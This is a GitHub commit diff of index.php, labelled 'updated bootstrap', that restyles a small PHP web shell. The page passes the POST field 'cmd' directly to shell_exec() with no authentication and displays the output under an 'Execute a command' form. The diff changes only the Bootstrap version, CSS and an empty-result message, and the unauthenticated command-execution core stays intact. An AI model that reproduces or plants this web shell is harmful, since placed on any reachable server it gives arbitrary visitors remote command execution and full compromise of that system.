Skip to content

Commit 75e2d8a

Browse files
authored
updated bootstrap
1 parent b915f25 commit 75e2d8a

File tree

1 file changed

+38
-25
lines changed

1 file changed

+38
-25
lines changed

index.php

Lines changed: 38 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,36 @@
11
<?php
2-
32
if (!empty($_POST['cmd'])) {
43
$cmd = shell_exec($_POST['cmd']);
54
}
6-
75
?>
86
<!DOCTYPE html>
97
<html>
10-
11-
<!-- By ArtyumX (https://github.com/ArtyumX) -->
12-
8+
<!-- By Artyum (https://github.com/artyuum) -->
139
<head>
1410

1511
<meta charset="utf-8">
1612

1713
<meta http-equiv="X-UA-Compatible" content="IE=edge">
1814

1915
<meta name="viewport" content="width=device-width, initial-scale=1">
20-
21-
<link rel="stylesheet" type="text/css" href="//bootswatch.com/flatly/bootstrap.css">
16+
17+
<link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">
2218

2319
<title> CMD </title>
24-
20+
2521
<style>
22+
h2 {
23+
color: rgba(0, 0, 0, .75);
24+
}
25+
26+
pre {
27+
padding: 15px;
28+
-webkit-border-radius: 5px;
29+
-moz-border-radius: 5px;
30+
border-radius: 5px;
31+
background-color: #ECF0F1;
32+
}
33+
2634
.container {
2735
width: 850px;
2836
}
@@ -32,30 +40,35 @@
3240

3341
<body>
3442

35-
<div class="container">
36-
37-
<div class="page-header">
38-
<h2> Execute a command </h2>
39-
</div>
43+
<div class="container">
4044

41-
<form action="" method="POST">
42-
<div class="form-group">
43-
<label for="cmd">Command</label>
44-
<input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
45+
<div class="pb-2 mt-4 mb-2">
46+
<h2> Execute a command </h2>
4547
</div>
46-
<button type="submit" class="btn btn-default">Execute</button>
47-
</form>
48+
49+
<form action="" method="POST">
50+
<div class="form-group">
51+
<label for="cmd">Command</label>
52+
<input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
53+
</div>
54+
<button type="submit" class="btn btn-primary">Execute</button>
55+
</form>
4856

4957
<?php if ($cmd): ?>
50-
<div class="page-header">
51-
<h2> Output </h2>
52-
</div>
53-
<pre>
58+
<div class="pb-2 mt-4 mb-2">
59+
<h2> Output </h2>
60+
</div>
61+
<pre>
5462
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
55-
</pre>
63+
</pre>
64+
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
65+
<div class="pb-2 mt-4 mb-2">
66+
<h2> Output </h2>
67+
</div>
68+
<pre><small>No result.</small></pre>
5669
<?php endif; ?>
5770

58-
</div>
71+
</div>
5972

6073
</body>
6174

0 commit comments

Comments
 (0)